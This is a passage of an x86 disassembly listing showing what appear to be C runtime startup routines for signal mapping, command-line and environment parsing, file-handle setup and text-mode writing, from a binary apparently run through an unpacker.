loc_41A0CC:				; CODE XREF: sub_419FFA+C7j
		cmp	ecx, 0C0000090h
		jnz	short loc_41A0DD
		mov	dword ptr [esi+5Ch], 81h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A0DD:				; CODE XREF: sub_419FFA+D8j
		cmp	ecx, 0C0000091h
		jnz	short loc_41A0EE
		mov	dword ptr [esi+5Ch], 84h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A0EE:				; CODE XREF: sub_419FFA+E9j
		cmp	ecx, 0C0000093h
		jnz	short loc_41A0FF
		mov	dword ptr [esi+5Ch], 85h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A0FF:				; CODE XREF: sub_419FFA+FAj
		cmp	ecx, 0C000008Dh
		jnz	short loc_41A110
		mov	dword ptr [esi+5Ch], 82h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A110:				; CODE XREF: sub_419FFA+10Bj
		cmp	ecx, 0C000008Fh
		jnz	short loc_41A121
		mov	dword ptr [esi+5Ch], 86h
		jmp	short loc_41A130
; ---------------------------------------------------------------------------


loc_41A121:				; CODE XREF: sub_419FFA+11Cj
		cmp	ecx, 0C0000092h
		jnz	short loc_41A130
		mov	dword ptr [esi+5Ch], 8Ah


loc_41A130:				; CODE XREF: sub_419FFA+D0j
					; sub_419FFA+E1j ...
		push	dword ptr [esi+5Ch]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+5Ch], edi
		jmp	short loc_41A144
; ---------------------------------------------------------------------------


loc_41A13D:				; CODE XREF: sub_419FFA+7Ej
		and	dword ptr [ecx+8], 0
		push	eax
		call	ebx


loc_41A144:				; CODE XREF: sub_419FFA+141j
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	[esi+58h], eax


loc_41A14B:				; CODE XREF: sub_419FFA+66j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A159
; ---------------------------------------------------------------------------


loc_41A150:				; CODE XREF: sub_419FFA+3Ej
					; sub_419FFA+4Cj
		push	[ebp+arg_4]
		call	ds:dword_41F194


loc_41A159:				; CODE XREF: sub_419FFA+5Ej
					; sub_419FFA+154j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419FFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A15E	proc near		; CODE XREF: .text:00414A86p
		cmp	dword_47B674, 0
		jnz	short loc_41A16C
		call	sub_4195AD


loc_41A16C:				; CODE XREF: sub_41A15E+7j
		push	esi
		mov	esi, dword_47B664
		test	esi, esi
		jnz	short loc_41A17E
		mov	esi, 41FA76h
		jmp	short loc_41A1C3
; ---------------------------------------------------------------------------


loc_41A17E:				; CODE XREF: sub_41A15E+17j
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41A1AC
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jz	short loc_41A1BC


loc_41A18B:				; CODE XREF: sub_41A15E+45j
		test	al, al
		jz	short loc_41A1A5
		movzx	eax, al
		push	eax
		call	sub_41D885
		test	eax, eax
		pop	ecx
		jz	short loc_41A19E
		inc	esi


loc_41A19E:				; CODE XREF: sub_41A15E+3Dj
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41A18B


loc_41A1A5:				; CODE XREF: sub_41A15E+2Fj
		cmp	byte ptr [esi],	22h
		jnz	short loc_41A1BD
		jmp	short loc_41A1BC
; ---------------------------------------------------------------------------


loc_41A1AC:				; CODE XREF: sub_41A15E+24j
		cmp	al, 20h
		jbe	short loc_41A1BD


loc_41A1B0:				; CODE XREF: sub_41A15E+56j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41A1B0
		jmp	short loc_41A1BD
; ---------------------------------------------------------------------------


loc_41A1B8:				; CODE XREF: sub_41A15E+63j
		cmp	al, 20h
		ja	short loc_41A1C3


loc_41A1BC:				; CODE XREF: sub_41A15E+2Bj
					; sub_41A15E+4Cj
		inc	esi


loc_41A1BD:				; CODE XREF: sub_41A15E+4Aj
					; sub_41A15E+50j ...
		mov	al, [esi]
		test	al, al
		jnz	short loc_41A1B8


loc_41A1C3:				; CODE XREF: sub_41A15E+1Ej
					; sub_41A15E+5Cj
		mov	eax, esi
		pop	esi
		retn
sub_41A15E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1C7	proc near		; CODE XREF: .text:loc_414A55p
		push	ebx
		xor	ebx, ebx
		cmp	dword_47B674, ebx
		push	esi
		push	edi
		jnz	short loc_41A1D9
		call	sub_4195AD


loc_41A1D9:				; CODE XREF: sub_41A1C7+Bj
		mov	esi, dword_479EA0
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_41A1F7
		jmp	short loc_41A217
; ---------------------------------------------------------------------------


loc_41A1E7:				; CODE XREF: sub_41A1C7+34j
		cmp	al, 3Dh
		jz	short loc_41A1EC
		inc	edi


loc_41A1EC:				; CODE XREF: sub_41A1C7+22j
		push	esi
		call	sub_416000
		pop	ecx
		lea	esi, [esi+eax+1]


loc_41A1F7:				; CODE XREF: sub_41A1C7+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41A1E7
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41344D
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	dword_479E7C, edi
		jnz	short loc_41A21C


loc_41A217:				; CODE XREF: sub_41A1C7+1Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A274
; ---------------------------------------------------------------------------


loc_41A21C:				; CODE XREF: sub_41A1C7+4Ej
		mov	esi, dword_479EA0
		push	ebp
		jmp	short loc_41A24F
; ---------------------------------------------------------------------------


loc_41A225:				; CODE XREF: sub_41A1C7+8Aj
		push	esi
		call	sub_416000
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_41A24D
		push	ebp
		call	sub_41344D
		cmp	eax, ebx
		pop	ecx
		mov	[edi], eax
		jz	short loc_41A278
		push	esi
		push	eax
		call	sub_41B390
		pop	ecx
		pop	ecx
		add	edi, 4


loc_41A24D:				; CODE XREF: sub_41A1C7+6Bj
		add	esi, ebp


loc_41A24F:				; CODE XREF: sub_41A1C7+5Cj
		cmp	[esi], bl
		jnz	short loc_41A225
		push	dword_479EA0
		call	sub_412FE4
		mov	dword_479EA0, ebx
		mov	[edi], ebx
		mov	dword_47B668, 1
		xor	eax, eax


loc_41A272:				; CODE XREF: sub_41A1C7+C5j
		pop	ecx
		pop	ebp


loc_41A274:				; CODE XREF: sub_41A1C7+53j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41A278:				; CODE XREF: sub_41A1C7+78j
		push	dword_479E7C
		call	sub_412FE4
		mov	dword_479E7C, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A272
sub_41A1C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A28E	proc near		; CODE XREF: sub_41A3FA+54p
					; sub_41A3FA+85p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_41A2B1
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_41A2B1:				; CODE XREF: sub_41A28E+18j
					; sub_41A28E+65j ...
		cmp	byte ptr [eax],	22h
		jnz	short loc_41A2C4
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	short loc_41A2F1
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A28E+26j
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41A2CF
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi


loc_41A2CF:				; CODE XREF: sub_41A28E+3Aj
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	byte_47A401[ebx], 4
		jz	short loc_41A2EA
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41A2E9
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi


loc_41A2E9:				; CODE XREF: sub_41A28E+54j
		inc	eax


loc_41A2EA:				; CODE XREF: sub_41A28E+4Ej
		test	cl, cl
		mov	ebx, [ebp+arg_4]
		jz	short loc_41A323


loc_41A2F1:				; CODE XREF: sub_41A28E+34j
		test	edx, edx
		jnz	short loc_41A2B1
		cmp	cl, 20h
		jz	short loc_41A2FF
		cmp	cl, 9
		jnz	short loc_41A2B1


loc_41A2FF:				; CODE XREF: sub_41A28E+6Aj
		test	edi, edi
		jz	short loc_41A307
		and	byte ptr [edi-1], 0


loc_41A307:				; CODE XREF: sub_41A28E+73j
					; sub_41A28E+96j
		and	[ebp+var_4], 0


loc_41A30B:				; CODE XREF: sub_41A28E+157j
		cmp	byte ptr [eax],	0
		jz	loc_41A3EA


loc_41A314:				; CODE XREF: sub_41A28E+93j
		mov	cl, [eax]
		cmp	cl, 20h
		jz	short loc_41A320
		cmp	cl, 9
		jnz	short loc_41A326


loc_41A320:				; CODE XREF: sub_41A28E+8Bj
		inc	eax
		jmp	short loc_41A314
; ---------------------------------------------------------------------------


loc_41A323:				; CODE XREF: sub_41A28E+61j
		dec	eax
		jmp	short loc_41A307
; ---------------------------------------------------------------------------


loc_41A326:				; CODE XREF: sub_41A28E+90j
		cmp	byte ptr [eax],	0
		jz	loc_41A3EA
		cmp	[ebp+arg_0], 0
		jz	short loc_41A33E
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_41A33E:				; CODE XREF: sub_41A28E+A5j
		inc	dword ptr [ebx]


loc_41A340:				; CODE XREF: sub_41A28E+145j
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx
		jmp	short loc_41A349
; ---------------------------------------------------------------------------


loc_41A347:				; CODE XREF: sub_41A28E+BEj
		inc	eax
		inc	edx


loc_41A349:				; CODE XREF: sub_41A28E+B7j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_41A347
		cmp	byte ptr [eax],	22h
		jnz	short loc_41A379
		test	dl, 1
		jnz	short loc_41A377
		cmp	[ebp+var_4], 0
		jz	short loc_41A36A
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_41A36A
		mov	eax, ecx
		jmp	short loc_41A36C
; ---------------------------------------------------------------------------


loc_41A36A:				; CODE XREF: sub_41A28E+CEj
					; sub_41A28E+D6j
		xor	ebx, ebx


loc_41A36C:				; CODE XREF: sub_41A28E+DAj
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		setz	cl
		mov	[ebp+var_4], ecx


loc_41A377:				; CODE XREF: sub_41A28E+C8j
		shr	edx, 1


loc_41A379:				; CODE XREF: sub_41A28E+C3j
		test	edx, edx
		jz	short loc_41A38A


loc_41A37D:				; CODE XREF: sub_41A28E+FAj
		test	edi, edi
		jz	short loc_41A385
		mov	byte ptr [edi],	5Ch
		inc	edi


loc_41A385:				; CODE XREF: sub_41A28E+F1j
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_41A37D


loc_41A38A:				; CODE XREF: sub_41A28E+EDj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41A3D8
		cmp	[ebp+var_4], 0
		jnz	short loc_41A3A0
		cmp	cl, 20h
		jz	short loc_41A3D8
		cmp	cl, 9
		jz	short loc_41A3D8


loc_41A3A0:				; CODE XREF: sub_41A28E+106j
		test	ebx, ebx
		jz	short loc_41A3D2
		test	edi, edi
		jz	short loc_41A3C1
		movzx	edx, cl
		test	byte_47A401[edx], 4
		jz	short loc_41A3BA
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]


loc_41A3BA:				; CODE XREF: sub_41A28E+124j
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi
		jmp	short loc_41A3D0
; ---------------------------------------------------------------------------


loc_41A3C1:				; CODE XREF: sub_41A28E+118j
		movzx	ecx, cl
		test	byte_47A401[ecx], 4
		jz	short loc_41A3D0
		inc	eax
		inc	dword ptr [esi]


loc_41A3D0:				; CODE XREF: sub_41A28E+131j
					; sub_41A28E+13Dj
		inc	dword ptr [esi]


loc_41A3D2:				; CODE XREF: sub_41A28E+114j
		inc	eax
		jmp	loc_41A340
; ---------------------------------------------------------------------------


loc_41A3D8:				; CODE XREF: sub_41A28E+100j
					; sub_41A28E+10Bj ...
		test	edi, edi
		jz	short loc_41A3E0
		and	byte ptr [edi],	0
		inc	edi


loc_41A3E0:				; CODE XREF: sub_41A28E+14Cj
		inc	dword ptr [esi]
		mov	ebx, [ebp+arg_4]
		jmp	loc_41A30B
; ---------------------------------------------------------------------------


loc_41A3EA:				; CODE XREF: sub_41A28E+80j
					; sub_41A28E+9Bj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41A3F4
		and	dword ptr [eax], 0


loc_41A3F4:				; CODE XREF: sub_41A28E+161j
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
sub_41A28E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3FA	proc near		; CODE XREF: .text:00414A44p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_47B674, edi
		jnz	short loc_41A411
		call	sub_4195AD


loc_41A411:				; CODE XREF: sub_41A3FA+10j
		and	byte_47A134, 0
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	edi
		call	ds:dword_41F010
		mov	eax, dword_47B664
		cmp	eax, edi
		mov	off_479E8C, esi
		jz	short loc_41A440
		cmp	byte ptr [eax],	0
		mov	ebx, eax
		jnz	short loc_41A442


loc_41A440:				; CODE XREF: sub_41A3FA+3Dj
		mov	ebx, esi


loc_41A442:				; CODE XREF: sub_41A3FA+44j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	esi, [ebp+var_8]
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_41A28E
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		shl	esi, 2
		add	eax, esi
		push	eax
		call	sub_41344D
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_41A472
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A497
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A3FA+71j
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [esi+edi]
		push	edi
		lea	esi, [ebp+var_8]
		mov	eax, ebx
		call	sub_41A28E
		mov	eax, [ebp+var_4]
		dec	eax
		pop	ecx
		mov	dword_479E70, eax
		pop	ecx
		mov	dword_479E74, edi
		xor	eax, eax


loc_41A497:				; CODE XREF: sub_41A3FA+76j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A3FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A49C	proc near		; CODE XREF: .text:00414A3Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_47A138
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:dword_41F1A4
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_41A4E5
		call	edi
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41A4CC
		mov	dword_47A138, 1
		jmp	short loc_41A4EA
; ---------------------------------------------------------------------------


loc_41A4CC:				; CODE XREF: sub_41A49C+22j
		call	ds:dword_41F008
		cmp	eax, 78h
		jnz	short loc_41A4E0
		mov	eax, ebp
		mov	dword_47A138, eax
		jmp	short loc_41A4E5
; ---------------------------------------------------------------------------


loc_41A4E0:				; CODE XREF: sub_41A49C+39j
		mov	eax, dword_47A138


loc_41A4E5:				; CODE XREF: sub_41A49C+1Aj
					; sub_41A49C+42j
		cmp	eax, 1
		jnz	short loc_41A567


loc_41A4EA:				; CODE XREF: sub_41A49C+2Ej
		cmp	esi, ebx
		jnz	short loc_41A4F6
		call	edi
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41A56F


loc_41A4F6:				; CODE XREF: sub_41A49C+50j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41A50B


loc_41A4FD:				; CODE XREF: sub_41A49C+66j
					; sub_41A49C+6Dj
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_41A4FD
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_41A4FD


loc_41A50B:				; CODE XREF: sub_41A49C+5Fj
		mov	edi, ds:dword_41F0AC
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41A55C
		push	ebp
		call	sub_41344D
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41A55C
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41A558
		push	[esp+18h+var_8]
		call	sub_412FE4
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41A558:				; CODE XREF: sub_41A49C+ACj
		mov	ebx, [esp+18h+var_8]


loc_41A55C:				; CODE XREF: sub_41A49C+8Cj
					; sub_41A49C+9Bj
		push	esi
		call	ds:dword_41F1A0
		mov	eax, ebx
		jmp	short loc_41A5B7
; ---------------------------------------------------------------------------


loc_41A567:				; CODE XREF: sub_41A49C+4Cj
		cmp	eax, ebp
		jz	short loc_41A573
		cmp	eax, ebx
		jz	short loc_41A573


loc_41A56F:				; CODE XREF: sub_41A49C+58j
					; sub_41A49C+E1j
		xor	eax, eax
		jmp	short loc_41A5B7
; ---------------------------------------------------------------------------


loc_41A573:				; CODE XREF: sub_41A49C+CDj
					; sub_41A49C+D1j
		call	ds:dword_41F19C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41A56F
		cmp	[esi], bl
		jz	short loc_41A58D


loc_41A583:				; CODE XREF: sub_41A49C+EAj
					; sub_41A49C+EFj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41A583
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41A583


loc_41A58D:				; CODE XREF: sub_41A49C+E5j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41344D
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_41A5A3
		xor	edi, edi
		jmp	short loc_41A5AE
; ---------------------------------------------------------------------------


loc_41A5A3:				; CODE XREF: sub_41A49C+101j
		push	ebp
		push	esi
		push	edi
		call	sub_4177B0
		add	esp, 0Ch


loc_41A5AE:				; CODE XREF: sub_41A49C+105j
		push	esi
		call	ds:dword_41F198
		mov	eax, edi


loc_41A5B7:				; CODE XREF: sub_41A49C+C9j
					; sub_41A49C+D5j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41A49C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5BE	proc near		; CODE XREF: .text:00414A1Ep

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 48h
		push	ebx
		mov	ebx, 480h
		push	ebx
		call	sub_41344D
		test	eax, eax
		pop	ecx
		jnz	short loc_41A5DA
		or	eax, 0FFFFFFFFh
		jmp	loc_41A7B7
; ---------------------------------------------------------------------------


loc_41A5DA:				; CODE XREF: sub_41A5BE+12j
		mov	dword_47A2E0, eax
		mov	dword_47A2C8, 20h
		lea	ecx, [eax+480h]
		jmp	short loc_41A60F
; ---------------------------------------------------------------------------


loc_41A5F1:				; CODE XREF: sub_41A5BE+53j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, dword_47A2E0
		add	eax, 24h
		add	ecx, 480h


loc_41A60F:				; CODE XREF: sub_41A5BE+31j
		cmp	eax, ecx
		jb	short loc_41A5F1
		push	ebp
		push	esi
		push	edi
		lea	eax, [esp+58h+var_44]
		push	eax
		call	ds:dword_41F148
		cmp	word ptr [esp+58h+var_14+2], 0
		jz	loc_41A716
		mov	eax, [esp+58h+var_10]
		test	eax, eax
		jz	loc_41A716
		mov	edi, [eax]
		lea	ebp, [eax+4]
		lea	eax, [edi+ebp]
		mov	[esp+58h+var_48], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_41A650
		mov	edi, eax


loc_41A650:				; CODE XREF: sub_41A5BE+8Ej
		cmp	dword_47A2C8, edi
		jge	short loc_41A6A6
		mov	esi, offset dword_47A2E4


loc_41A65D:				; CODE XREF: sub_41A5BE+DEj
		push	ebx
		call	sub_41344D
		test	eax, eax
		pop	ecx
		jz	short loc_41A6A0
		add	dword_47A2C8, 20h
		mov	[esi], eax
		lea	ecx, [eax+480h]
		jmp	short loc_41A68F
; ---------------------------------------------------------------------------


loc_41A679:				; CODE XREF: sub_41A5BE+D3j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [esi]
		add	eax, 24h
		add	ecx, ebx


loc_41A68F:				; CODE XREF: sub_41A5BE+B9j
		cmp	eax, ecx
		jb	short loc_41A679
		add	esi, 4
		cmp	dword_47A2C8, edi
		jl	short loc_41A65D
		jmp	short loc_41A6A6
; ---------------------------------------------------------------------------


loc_41A6A0:				; CODE XREF: sub_41A5BE+A8j
		mov	edi, dword_47A2C8


loc_41A6A6:				; CODE XREF: sub_41A5BE+98j
					; sub_41A5BE+E0j
		xor	ebx, ebx
		test	edi, edi
		jle	short loc_41A716


loc_41A6AC:				; CODE XREF: sub_41A5BE+156j
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A70B
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41A70B
		test	cl, 8
		jnz	short loc_41A6CF
		push	eax
		call	ds:dword_41F1AC
		test	eax, eax
		jz	short loc_41A70B


loc_41A6CF:				; CODE XREF: sub_41A5BE+104j
		mov	ecx, ebx
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		lea	esi, [ecx+eax*4]
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebp+0]
		mov	[esi+4], al
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A736
		inc	dword ptr [esi+8]


loc_41A70B:				; CODE XREF: sub_41A5BE+F7j
					; sub_41A5BE+FFj ...
		add	[esp+58h+var_48], 4
		inc	ebx
		inc	ebp
		cmp	ebx, edi
		jl	short loc_41A6AC


loc_41A716:				; CODE XREF: sub_41A5BE+69j
					; sub_41A5BE+75j ...
		xor	ebx, ebx


loc_41A718:				; CODE XREF: sub_41A5BE+1E2j
		mov	ecx, dword_47A2E0
		lea	eax, [ebx+ebx*8]
		lea	esi, [ecx+eax*4]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_41A798
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41A73B
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41A745
; ---------------------------------------------------------------------------


loc_41A736:				; CODE XREF: sub_41A5BE+148j
					; sub_41A5BE+1CDj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A7B4
; ---------------------------------------------------------------------------


loc_41A73B:				; CODE XREF: sub_41A5BE+171j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41A745:				; CODE XREF: sub_41A5BE+176j
		push	eax
		call	ds:dword_41F190
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41A792
		push	edi
		call	ds:dword_41F1AC
		test	eax, eax
		jz	short loc_41A792
		and	eax, 0FFh
		cmp	eax, 2
		mov	[esi], edi
		jnz	short loc_41A770
		or	byte ptr [esi+4], 40h
		jmp	short loc_41A779
; ---------------------------------------------------------------------------


loc_41A770:				; CODE XREF: sub_41A5BE+1AAj
		cmp	eax, 3
		jnz	short loc_41A779
		or	byte ptr [esi+4], 8


loc_41A779:				; CODE XREF: sub_41A5BE+1B0j
					; sub_41A5BE+1B5j
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A736
		inc	dword ptr [esi+8]
		jmp	short loc_41A79C
; ---------------------------------------------------------------------------


loc_41A792:				; CODE XREF: sub_41A5BE+193j
					; sub_41A5BE+19Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41A79C
; ---------------------------------------------------------------------------


loc_41A798:				; CODE XREF: sub_41A5BE+169j
		or	byte ptr [esi+4], 80h


loc_41A79C:				; CODE XREF: sub_41A5BE+1D2j
					; sub_41A5BE+1D8j
		inc	ebx
		cmp	ebx, 3
		jl	loc_41A718
		push	dword_47A2C8
		call	ds:dword_41F1A8
		xor	eax, eax


loc_41A7B4:				; CODE XREF: sub_41A5BE+17Bj
		pop	edi
		pop	esi
		pop	ebp


loc_41A7B7:				; CODE XREF: sub_41A5BE+17j
		pop	ebx
		add	esp, 48h
		retn
sub_41A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7BC	proc near		; CODE XREF: sub_41A961+52p
					; sub_41D96E+91p

var_420		= byte ptr -420h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+var_14], edi
		mov	[ebp+var_18], edi
		jnz	short loc_41A7E5
		xor	eax, eax
		jmp	loc_41A953
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A7BC+20j
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_0]
		and	eax, 1Fh
		sar	ebx, 5
		push	esi
		lea	esi, [eax+eax*8]
		lea	ebx, ds:47A2E0h[ebx*4]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 20h
		jz	short loc_41A818
		push	2
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_41D896
		add	esp, 10h


loc_41A818:				; CODE XREF: sub_41A7BC+4Bj
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41A8EA
		cmp	[ebp+arg_8], edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_8], edi
		jbe	loc_41A925


loc_41A838:				; CODE XREF: sub_41A7BC+F3j
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+arg_4]
		lea	eax, [ebp+var_420]
		mov	[ebp+var_C], edi


loc_41A847:				; CODE XREF: sub_41A7BC+B5j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41A873
		mov	edx, [ebp+var_10]
		inc	[ebp+var_10]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_41A864
		inc	[ebp+var_18]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+var_C]


loc_41A864:				; CODE XREF: sub_41A7BC+9Cj
		mov	[eax], dl
		inc	eax
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 400h
		jl	short loc_41A847


loc_41A873:				; CODE XREF: sub_41A7BC+8Ej
		mov	edi, eax
		lea	eax, [ebp+var_420]
		sub	edi, eax
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		lea	eax, [ebp+var_420]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_41F038
		test	eax, eax
		jz	short loc_41A8B3
		mov	eax, [ebp+var_1C]
		add	[ebp+var_14], eax
		cmp	eax, edi
		jl	short loc_41A8BC
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, [ebp+arg_8]
		jb	short loc_41A838
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------


loc_41A8B3:				; CODE XREF: sub_41A7BC+DCj
		call	ds:dword_41F008
		mov	[ebp+var_8], eax


loc_41A8BC:				; CODE XREF: sub_41A7BC+E6j
		xor	edi, edi


loc_41A8BE:				; CODE XREF: sub_41A7BC+F5j
					; sub_41A7BC+14Ej ...
		mov	eax, [ebp+var_14]
		cmp	eax, edi
		jnz	loc_41A94E
		cmp	[ebp+var_8], edi
		jz	short loc_41A925
		push	5
		pop	esi
		cmp	[ebp+var_8], esi
		jnz	short loc_41A917
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		mov	[eax], esi
		jmp	short loc_41A920
